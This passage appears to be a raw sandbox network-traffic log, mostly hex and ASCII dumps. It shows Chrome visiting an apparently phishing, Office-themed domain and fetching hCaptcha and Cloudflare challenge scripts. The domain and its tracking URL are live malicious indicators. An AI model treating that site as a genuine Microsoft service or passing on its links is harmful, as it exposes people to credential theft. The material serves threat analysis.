6d 4a 4b Data Ascii: 7dc6var hsw=function sxAN(){"use strict";function fX(fX,aw,hV){return aw<=fX&&fX<=hV}var aw=function(fX){this.tokens=[].slice.call(fX),this.tokens.reverse()},hV=function(){var fX=["i0zgmZngrG","DgvYBwLUyxrL","i0ndq0mWma","y3jLyxrLt2zMzxi","CMDIysG","mJK
2025-01-15 14:12:15 UTC	1369	IN	Data Raw: 66 30 41 61 22 2c 22 41 77 35 32 7a 78 6a 30 7a 77 71 54 79 32 39 53 42 33 6a 5a 22 2c 22 43 4e 72 30 22 2c 22 43 68 6a 4c 7a 4d 76 59 43 59 31 4a 42 32 58 56 43 49 31 5a 79 32 48 4c 42 77 75 22 2c 22 79 77 6e 30 44 77 66 53 71 4d 39 31 42 4d 72 50 42 4d 44 63 42 33 48 62 43 32 6e 4c 42 4e 71 22 2c 22 72 32 76 55 7a 78 7a 48 22 2c 22 7a 67 39 55 7a 71 22 2c 22 79 78 6a 4e 44 77 31 4c 42 4e 72 5a 22 2c 22 7a 78 66 4d 22 2c 22 63 49 61 47 69 63 61 47 69 63 61 47 43 68 6a 4c 79 32 4c 5a 41 77 39 55 69 67 31 4c 7a 67 4c 31 42 78 61 47 7a 4d 58 56 79 78 71 37 63 49 61 47 69 63 61 47 69 63 61 47 44 4d 66 59 45 77 4c 55 7a 59 62 32 7a 77 6d 59 69 68 7a 48 43 4e 4c 50 42 4c 72 4c 45 65 6e 56 42 33 6a 4b 41 77 35 48 44 67 75 37 63 49 61 47 69 63 61 47 69 63 61 47 Data Ascii: f0Aa","Aw52zxj0zwqTy29SB3jZ","CNr0","ChjLzMvYCY1JB2XVCI1Zy2HLBwu","ywn0DwfSqM91BMrPBMDcB3HbC2nLBNq","r2vUzxzH","zg9Uzq","yxjNDw1LBNrZ","zxfM","cIaGicaGicaGChjLy2LZAw9Uig1LzgL1BxaGzMXVyxq7cIaGicaGicaGDMfYEwLUzYb2zwmYihzHCNLPBLrLEenVB3jKAw5HDgu7cIaGicaGicaG
2025-01-15 14:12:15 UTC	1369	IN	Data Raw: 63 22 2c 22 7a 4d 39 59 79 32 76 4b 6c 77 6e 56 42 67 39 59 43 57 22 2c 22 75 32 76 59 41 77 66 53 22 2c 22 7a 77 35 48 79 4d 58 4c 76 4d 76 59 44 67 76 34 71 78 72 30 43 4d 4c 49 71 78 6a 59 79 78 4b 22 2c 22 75 32 76 4e 42 32 75 47 76 75 4b 22 2c 22 79 32 66 55 44 4d 66 5a 22 2c 22 44 4d 76 59 44 67 76 34 71 78 72 30 43 4d 4c 49 75 67 39 50 42 4e 72 4c 43 47 22 2c 22 79 32 39 54 43 67 4c 53 7a 76 6e 4f 79 77 72 4c 43 47 22 2c 22 7a 4d 76 30 79 32 47 22 2c 22 6e 4a 65 58 6e 4a 4b 58 76 4d 50 55 73 4c 48 57 22 2c 22 42 4e 6e 50 22 2c 22 44 5a 75 32 22 2c 22 43 67 76 59 7a 4d 39 59 42 77 66 55 79 32 75 22 2c 22 43 32 76 55 44 61 22 2c 22 42 77 39 55 42 32 6e 4f 43 4d 39 54 7a 71 22 2c 22 7a 32 76 30 71 32 39 55 44 67 76 34 44 65 66 30 44 68 6a 50 79 4e 76 Data Ascii: c","zM9Yy2vKlwnVBg9YCW","u2vYAwfS","zw5HyMXLvMvYDgv4qxr0CMLIqxjYyxK","u2vNB2uGvuK","y2fUDMfZ","DMvYDgv4qxr0CMLIug9PBNrLCG","y29TCgLSzvnOywrLCG","zMv0y2G","nJeXnJKXvMPUsLHW","BNnP","DZu2","CgvYzM9YBwfUy2u","C2vUDa","Bw9UB2nOCM9Tzq","z2v0q29UDgv4Def0DhjPyNv
2025-01-15 14:12:15 UTC	1369	IN	Data Raw: 79 45 4b 69 30 74 77 50 7a 45 65 31 78 73 74 62 6d 72 4a 48 33 7a 75 72 6a 6e 66 4c 36 77 4d 4c 70 71 33 6e 59 73 4c 72 63 6e 65 35 64 41 59 39 79 45 4b 69 30 74 4e 50 4e 45 76 4c 54 77 4d 31 6c 45 4a 66 75 7a 65 48 6b 43 67 6a 54 7a 67 6a 6b 6d 4c 50 35 79 4a 69 58 72 67 66 68 72 4e 4c 72 6d 4a 4c 52 77 4c 6e 4b 7a 65 54 65 71 4a 72 41 42 76 4c 54 77 68 50 63 6e 65 30 59 77 4d 54 6e 6d 4c 75 59 75 67 4f 30 42 30 58 75 71 4a 72 6e 41 78 62 4d 74 75 48 4e 45 75 39 68 74 74 6a 7a 41 4d 44 54 74 75 48 4e 6d 4b 54 74 41 5a 7a 6e 73 67 44 33 73 31 48 30 7a 4b 31 69 7a 33 4c 6f 41 4b 76 34 77 77 50 72 6f 76 48 36 71 4a 72 6e 41 4b 4c 36 77 77 50 6e 6d 66 44 35 7a 68 62 49 42 76 6a 53 7a 75 75 35 42 75 4f 58 6d 67 39 79 45 4b 69 30 74 77 50 7a 45 65 31 78 73 74 Data Ascii: yEKi0twPzEe1xstbmrJH3zurjnfL6wMLpq3nYsLrcne5dAY9yEKi0tNPNEvLTwM1lEJfuzeHkCgjTzgjkmLP5yJiXrgfhrNLrmJLRwLnKzeTeqJrABvLTwhPcne0YwMTnmLuYugO0B0XuqJrnAxbMtuHNEu9httjzAMDTtuHNmKTtAZznsgD3s1H0zK1iz3LoAKv4wwProvH6qJrnAKL6wwPnmfD5zhbIBvjSzuu5BuOXmg9yEKi0twPzEe1xst
2025-01-15 14:12:15 UTC	1369	IN	Data Raw: 44 30 35 36 74 4d 31 70 41 4b 69 30 74 76 44 6b 41 75 58 67 6f 68 44 4c 72 31 75 5a 77 4b 44 72 6e 75 35 75 42 33 44 4c 72 65 7a 50 74 30 6e 34 7a 4b 31 69 7a 33 48 6e 42 75 4c 34 77 4c 72 66 6e 4b 31 69 7a 33 48 7a 41 4b 4f 35 74 65 79 34 44 32 76 65 72 78 50 6f 6d 4b 30 31 74 4d 4f 58 7a 4b 31 69 7a 5a 66 70 76 31 7a 53 74 65 79 34 44 32 76 65 72 78 50 6e 45 4d 6e 36 77 76 71 58 7a 4b 31 69 7a 5a 66 70 72 30 35 52 74 30 72 7a 42 30 54 75 44 64 6e 48 72 32 58 5a 77 4c 6e 4e 41 65 4c 77 44 67 72 6c 77 68 71 57 79 32 35 53 6e 32 72 54 72 4e 4c 6a 72 4a 48 33 7a 75 72 4a 6d 66 50 51 76 4d 48 41 41 4a 62 30 79 30 44 67 45 77 6d 59 76 4b 50 49 42 4c 66 56 77 68 50 63 6e 65 31 75 74 74 6e 7a 45 4d 53 59 73 30 79 34 44 32 76 65 74 74 66 6f 72 66 6a 52 74 78 4b Data Ascii: D056tM1pAKi0tvDkAuXgohDLr1uZwKDrnu5uB3DLrezPt0n4zK1iz3HnBuL4wLrfnK1iz3HzAKO5tey4D2verxPomK01tMOXzK1izZfpv1zStey4D2verxPnEMn6wvqXzK1izZfpr05Rt0rzB0TuDdnHr2XZwLnNAeLwDgrlwhqWy25Sn2rTrNLjrJH3zurJmfPQvMHAAJb0y0DgEwmYvKPIBLfVwhPcne1uttnzEMSYs0y4D2vettforfjRtxK
2025-01-15 14:12:15 UTC	1369	IN	Data Raw: 65 76 35 74 77 50 72 6d 65 31 36 6d 74 44 79 45 4b 69 30 74 78 50 72 6e 65 39 75 76 4d 4c 70 41 4b 69 30 74 76 72 52 6d 4b 58 67 6f 68 44 4c 72 65 50 50 74 31 72 67 41 30 31 65 42 33 44 4c 72 65 7a 4f 74 75 6e 34 7a 4b 31 69 7a 33 4c 70 76 66 4b 30 74 30 44 76 6e 4b 31 69 7a 33 48 70 76 65 4c 5a 77 68 50 63 6e 65 35 65 71 4d 48 6f 41 4c 76 36 74 32 50 63 6e 65 31 75 41 33 44 6d 72 4a 48 33 7a 75 72 67 42 76 4c 51 76 74 76 6e 76 67 39 33 7a 75 72 67 41 75 35 79 6d 68 6e 79 45 4b 69 30 74 31 72 4a 6d 65 39 78 72 74 76 71 77 68 72 4d 74 75 48 4e 45 65 31 54 77 4d 50 70 72 31 65 32 74 75 48 4e 45 65 39 75 41 33 6e 79 45 4b 69 30 74 78 50 6b 41 66 50 75 76 74 6a 70 41 4b 69 30 74 76 44 66 6e 77 7a 74 45 67 7a 6e 73 67 44 35 74 4b 72 76 45 66 50 65 76 74 4c 79 Data Ascii: ev5twPrme16mtDyEKi0txPrne9uvMLpAKi0tvrRmKXgohDLrePPt1rgA01eB3DLrezOtun4zK1iz3LpvfK0t0DvnK1iz3HpveLZwhPcne5eqMHoALv6t2Pcne1uA3DmrJH3zurgBvLQvtvnvg93zurgAu5ymhnyEKi0t1rJme9xrtvqwhrMtuHNEe1TwMPpr1e2tuHNEe9uA3nyEKi0txPkAfPuvtjpAKi0tvDfnwztEgznsgD5tKrvEfPevtLy
2025-01-15 14:12:15 UTC	1369	IN	Data Raw: 76 65 73 74 72 6f 76 67 6e 34 74 31 71 58 7a 4b 31 69 7a 5a 66 70 76 31 7a 53 74 65 79 34 44 32 76 65 73 4d 31 7a 41 4d 53 31 74 75 72 30 7a 4b 31 69 7a 33 4c 6f 45 4c 50 54 74 4b 72 6b 79 4c 48 36 71 4a 72 6e 41 4d 43 58 74 4e 50 66 6e 75 54 67 6f 68 44 4c 72 65 35 51 74 4b 44 6b 42 66 50 74 6e 77 7a 6e 73 67 44 35 74 74 6a 6a 6d 75 30 59 72 78 62 79 76 64 4c 4d 74 75 48 4e 45 4b 31 75 75 4d 4c 70 72 65 4c 56 77 68 50 63 6e 65 31 51 79 5a 6a 41 41 4c 66 35 76 33 4c 4b 6d 4c 4c 78 45 64 66 41 75 32 72 4b 73 31 72 56 42 31 48 36 71 4a 72 6e 42 76 50 50 74 31 72 52 44 31 62 77 6f 68 44 4c 72 65 4b 5a 74 4d 31 7a 6d 65 31 53 44 67 7a 6e 73 67 44 35 74 30 72 76 6d 30 31 75 41 32 39 79 45 4b 69 30 74 74 6a 6e 6d 66 4c 54 76 4d 58 6d 42 64 48 33 7a 75 72 6e 45 Data Ascii: vestrovgn4t1qXzK1izZfpv1zStey4D2vesM1zAMS1tur0zK1iz3LoELPTtKrkyLH6qJrnAMCXtNPfnuTgohDLre5QtKDkBfPtnwznsgD5ttjjmu0YrxbyvdLMtuHNEK1uuMLpreLVwhPcne1QyZjAALf5v3LKmLLxEdfAu2rKs1rVB1H6qJrnBvPPt1rRD1bwohDLreKZtM1zme1SDgznsgD5t0rvm01uA29yEKi0ttjnmfLTvMXmBdH3zurnE
2025-01-15 14:12:15 UTC	1369	IN	Data Raw: 55 79 4d 31 77 6e 67 72 64 7a 67 72 71 76 4a 48 33 7a 75 72 6e 6d 4b 31 68 76 78 50 6c 72 65 69 30 74 75 6e 52 43 31 48 36 71 4a 72 6f 72 66 66 36 77 4c 72 6b 41 4c 43 58 6f 68 44 4c 72 66 65 57 77 4b 72 72 44 30 39 74 7a 33 44 4c 72 65 75 30 77 76 6e 53 7a 66 62 77 6f 68 44 4c 72 65 30 59 74 75 44 76 45 4b 54 65 71 4a 72 6e 75 32 54 5a 77 68 50 63 6e 65 35 65 75 78 50 41 76 65 50 51 76 5a 65 34 44 32 76 65 75 74 62 41 72 66 66 33 74 31 6e 4e 44 32 76 65 72 4d 4c 7a 75 32 58 4b 75 66 79 34 44 32 76 65 74 74 6a 6e 72 31 76 36 73 30 72 63 6e 65 31 50 41 33 6e 6b 6d 4c 4f 58 79 4d 31 6f 6d 67 66 78 6f 78 76 6b 45 4a 61 35 7a 65 48 53 44 31 50 78 6f 77 31 6a 72 4b 34 31 79 4c 44 6b 44 4d 6a 64 77 77 31 6c 72 4a 48 33 7a 75 72 72 6d 65 30 59 76 78 4c 7a 6d 78 Data Ascii: UyM1wngrdzgrqvJH3zurnmK1hvxPlrei0tunRC1H6qJrorff6wLrkALCXohDLrfeWwKrrD09tz3DLreu0wvnSzfbwohDLre0YtuDvEKTeqJrnu2TZwhPcne5euxPAvePQvZe4D2veutbArff3t1nND2verMLzu2XKufy4D2vettjnr1v6s0rcne1PA3nkmLOXyM1omgfxoxvkEJa5zeHSD1Pxow1jrK41yLDkDMjdww1lrJH3zurrme0YvxLzmx
2025-01-15 14:12:15 UTC	1369	IN	Data Raw: 71 4a 72 6f 76 65 75 5a 77 4d 50 7a 45 76 43 58 6f 68 44 4c 72 65 30 31 77 78 50 6e 45 65 31 74 7a 33 44 4c 72 65 7a 50 77 76 6e 53 7a 65 54 74 77 77 31 79 45 4b 69 30 74 4b 72 72 6d 4b 39 68 77 4d 48 78 45 77 72 51 77 76 44 34 43 30 4f 58 6d 67 39 79 45 4b 69 30 74 4c 72 66 6d 31 50 51 77 78 4c 6c 75 33 44 33 7a 75 72 62 43 65 39 53 6f 68 44 4c 72 66 76 34 74 4a 6a 7a 6d 4b 31 53 43 32 35 49 42 76 79 30 7a 65 6e 4b 7a 65 54 74 77 77 31 6a 75 32 48 4d 74 75 48 4e 6d 65 35 65 77 74 72 41 42 75 75 35 77 68 50 63 6e 65 35 65 75 74 6a 70 72 31 50 4f 76 5a 65 34 44 32 76 65 74 74 76 7a 45 4b 31 34 74 76 6e 4f 7a 4b 31 69 7a 33 4c 7a 76 30 7a 54 77 4b 72 72 44 76 48 36 71 4a 72 6e 45 4d 43 57 74 30 44 6a 6e 75 54 77 6d 67 39 79 45 4b 69 30 74 4c 72 66 6d 31 50 Data Ascii: qJroveuZwMPzEvCXohDLre01wxPnEe1tz3DLrezPwvnSzeTtww1yEKi0tKrrmK9hwMHxEwrQwvD4C0OXmg9yEKi0tLrfm1PQwxLlu3D3zurbCe9SohDLrfv4tJjzmK1SC25IBvy0zenKzeTtww1ju2HMtuHNme5ewtrABuu5whPcne5eutjpr1POvZe4D2vettvzEK14tvnOzK1iz3Lzv0zTwKrrDvH6qJrnEMCWt0DjnuTwmg9yEKi0tLrfm1P
2025-01-15 14:12:15 UTC	1369	IN	Data Raw: 4b 72 7a 6e 66 50 54 72 4d 6a 6b 6d 4e 48 53 79 4d 31 4b 6d 67 66 64 7a 67 72 71 41 4b 69 30 74 75 6e 7a 42 76 48 36 71 4a 72 6f 72 66 65 59 74 30 44 41 41 66 43 58 6f 68 44 4c 72 66 65 57 74 4d 50 4f 42 76 4c 77 44 67 7a 6e 73 67 44 36 74 31 44 6e 45 4b 31 75 72 77 39 6e 73 67 44 34 77 76 44 6a 43 66 48 74 6d 68 44 4c 72 65 7a 4b 73 31 48 34 6f 65 31 69 7a 5a 6a 6a 76 64 61 35 77 68 50 63 6e 65 31 78 73 78 44 7a 76 67 72 4f 76 33 50 63 6e 65 31 67 6d 67 31 6b 41 4b 69 30 74 77 4c 66 6f 76 62 77 6f 68 44 4c 72 65 7a 50 74 75 44 66 6d 31 4c 77 43 33 44 4c 72 65 6a 4b 73 31 6e 53 6e 31 48 36 71 4a 72 6e 45 4d 43 58 74 76 44 66 6e 66 62 75 71 4a 72 6e 72 68 72 51 79 4a 69 31 6d 67 66 78 6e 74 66 41 76 68 71 35 79 76 44 7a 42 30 31 69 7a 33 50 71 76 64 61 35 Data Ascii: KrznfPTrMjkmNHSyM1KmgfdzgrqAKi0tunzBvH6qJrorfeYt0DAAfCXohDLrfeWtMPOBvLwDgznsgD6t1DnEK1urw9nsgD4wvDjCfHtmhDLrezKs1H4oe1izZjjvda5whPcne1xsxDzvgrOv3Pcne1gmg1kAKi0twLfovbwohDLrezPtuDfm1LwC3DLrejKs1nSn1H6qJrnEMCXtvDfnfbuqJrnrhrQyJi1mgfxntfAvhq5yvDzB01iz3Pqvda5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.7	50667	185.225.69.200	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:15 UTC	806	OUT	GET /favicon.ico HTTP/1.1 Host: office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/mQlruOEx?gsjnbjbhv87934hr874rbif43hf=JHHJHVJHJJKDNJKNDJII93JNJJjjjd Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jylv=d3984498352421fe696703078911084a1b755fbb8103ac25b46ae471692d1a3b
2025-01-15 14:12:15 UTC	24	IN	HTTP/1.1 404 Not Found
2025-01-15 14:12:15 UTC	24	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 0d 0a Data Ascii: Cache-Control: private
2025-01-15 14:12:15 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-15 14:12:15 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 57 65 64 2c 20 31 35 20 4a 61 6e 20 32 30 32 35 20 31 34 3a 31 32 3a 31 35 20 47 4d 54 0d 0a Data Ascii: Date: Wed, 15 Jan 2025 14:12:15 GMT
2025-01-15 14:12:15 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-15 14:12:15 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-15 14:12:15 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin
2025-01-15 14:12:15 UTC	151	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 67 72 6f 75 70 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 69 64 65 6e 74 69 74 79 2e 6e 65 6c 2e 6d 65 61 73 75 72 65 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 61 70 69 2f 72 65 70 6f 72 74 3f 63 61 74 49 64 3d 47 57 2b 65 73 74 73 66 64 2b 61 6d 73 32 22 7d 5d 7d 0d 0a Data Ascii: Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+ams2"}]}
2025-01-15 14:12:15 UTC	80	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 78 2d 6d 73 2d 67 61 74 65 77 61 79 2d 73 6c 69 63 65 3d 65 73 74 73 66 64 3b 20 50 61 74 68 3d 2f 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a Data Ascii: Set-Cookie: x-ms-gateway-slice=estsfd; Path=/; HttpOnly; Secure; SameSite=None
2025-01-15 14:12:15 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2025-01-15 14:12:15 UTC	51	IN	Data Raw: 58 2d 4d 73 2d 45 73 74 73 2d 53 65 72 76 65 72 3a 20 32 2e 31 2e 31 39 38 37 30 2e 33 20 2d 20 57 45 55 4c 52 31 20 50 72 6f 64 53 6c 69 63 65 73 0d 0a Data Ascii: X-Ms-Ests-Server: 2.1.19870.3 - WEULR1 ProdSlices

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.7	50670	104.19.230.21	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:15 UTC	580	OUT	GET /checksiteconfig?v=41c61f4f356516806017107484a3b43e62b92b84&host=office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info&sitekey=234adb2f-52ba-4697-82fa-abecbb14b173&sc=1&swa=1&spst=1 HTTP/1.1 Host: api2.hcaptcha.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cflb=0H28vk2VKwPbLoawFincekpozDKK5F2cj5oxWnXG4Vs
2025-01-15 14:12:15 UTC	590	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:15 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close access-control-allow-credentials: true access-control-allow-headers: Cache-Control, Content-Type, DNT, Referer, User-Agent access-control-allow-methods: GET, HEAD, POST, OPTIONS access-control-allow-origin: vary: Origin, Accept-Encoding CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 902675ab8a884339-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 14:12:15 UTC	779	IN	Data Raw: 33 30 38 0d 0a 7b 22 66 65 61 74 75 72 65 73 22 3a 7b 22 65 6e 63 5f 67 65 74 5f 72 65 71 22 3a 74 72 75 65 7d 2c 22 63 22 3a 7b 22 74 79 70 65 22 3a 22 68 73 77 22 2c 22 72 65 71 22 3a 22 65 79 4a 30 65 58 41 69 4f 69 4a 4b 56 31 51 69 4c 43 4a 68 62 47 63 69 4f 69 4a 49 55 7a 49 31 4e 69 4a 39 2e 65 79 4a 6d 49 6a 6f 77 4c 43 4a 7a 49 6a 6f 79 4c 43 4a 30 49 6a 6f 69 64 79 49 73 49 6d 51 69 4f 69 4a 42 4d 7a 5a 54 57 57 6c 7a 52 45 4e 74 55 6b 6c 35 52 32 77 32 61 7a 46 44 51 6b 4a 71 4c 32 68 50 63 56 4e 53 62 48 42 71 56 33 46 33 4d 46 52 47 53 45 4e 59 52 6d 68 59 61 57 46 30 5a 7a 63 76 51 54 42 77 56 56 64 35 56 57 39 6f 4f 48 70 45 55 47 34 72 54 47 4a 4a 55 31 6c 57 4e 32 6c 77 4d 30 6c 4e 56 47 74 59 54 6d 70 6d 54 45 4e 73 4f 44 45 72 59 57 70 Data Ascii: 308{"features":{"enc_get_req":true},"c":{"type":"hsw","req":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmIjowLCJzIjoyLCJ0IjoidyIsImQiOiJBMzZTWWlzRENtUkl5R2w2azFDQkJqL2hPcVNSbHBqV3F3MFRGSENYRmhYaWF0ZzcvQTBwVVd5VW9oOHpEUG4rTGJJU1lWN2lwM0lNVGtYTmpmTENsODErYWp
2025-01-15 14:12:15 UTC	4	IN	Data Raw: 65 7d 0d 0a Data Ascii: e}
2025-01-15 14:12:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.7	50674	104.18.94.41	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:16 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/955245256:1736947623:vp-07IYrd0iRjBiJMB70-HnWl3BYr4NojnYmTM_I_kY/902675a0487a1a24/gzLGPeSUG39YlRDT0l7xQXdoUzvyp0W3TyWeXCdcVwY-1736950333-1.1.1.1-i1AJ09Z.5At06MFQ0IZjUzIP1VvQrCXuWUgLkwj8GT_GuUS1z1JdeZ8cntD4B1GO HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:16 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Wed, 15 Jan 2025 14:12:16 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: qLDAlbzsSrb/93/pxyKz8eFC8oPRt/tt0/I3AG35RYH1pfz/+jX+cU81vYjcUV3ko3DmwLDw0voMuHRPsqWrGg==$tIr/QkFW4Pv+bym2/M2tNw== Server: cloudflare CF-RAY: 902675b16d940f75-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 14:12:16 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 33 30 7d Data Ascii: {"err":100230}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.7	50676	104.19.229.21	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:16 UTC	419	OUT	GET /c/c0e4881c9623bd415ad16c18f8b6f5bbce9a12f6fb8a5e7bf6dd055fd2816999/hsw.js HTTP/1.1 Host: newassets.hcaptcha.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:16 UTC	462	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:16 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cache-Control: max-age=3024000 etag: W/"76a66901a8ec6f9cc199640277d83270" vary: accept-encoding vary: Origin alt-svc: h3=":443"; ma=86400 CF-Cache-Status: HIT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 902675b57d4c7285-EWR
2025-01-15 14:12:16 UTC	907	IN	Data Raw: 37 31 62 36 0d 0a 76 61 72 20 68 73 77 3d 66 75 6e 63 74 69 6f 6e 20 73 78 41 4e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 66 58 28 66 58 2c 61 77 2c 68 56 29 7b 72 65 74 75 72 6e 20 61 77 3c 3d 66 58 26 26 66 58 3c 3d 68 56 7d 76 61 72 20 61 77 3d 66 75 6e 63 74 69 6f 6e 28 66 58 29 7b 74 68 69 73 2e 74 6f 6b 65 6e 73 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 66 58 29 2c 74 68 69 73 2e 74 6f 6b 65 6e 73 2e 72 65 76 65 72 73 65 28 29 7d 2c 68 56 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 66 58 3d 5b 22 69 30 7a 67 6d 5a 6e 67 72 47 22 2c 22 44 67 76 59 42 77 4c 55 79 78 72 4c 22 2c 22 69 30 6e 64 71 30 6d 57 6d 61 22 2c 22 79 33 6a 4c 79 78 72 4c 74 32 7a 4d 7a 78 69 22 2c 22 43 4d 44 49 79 73 47 22 2c 22 6d 4a 4b Data Ascii: 71b6var hsw=function sxAN(){"use strict";function fX(fX,aw,hV){return aw<=fX&&fX<=hV}var aw=function(fX){this.tokens=[].slice.call(fX),this.tokens.reverse()},hV=function(){var fX=["i0zgmZngrG","DgvYBwLUyxrL","i0ndq0mWma","y3jLyxrLt2zMzxi","CMDIysG","mJK
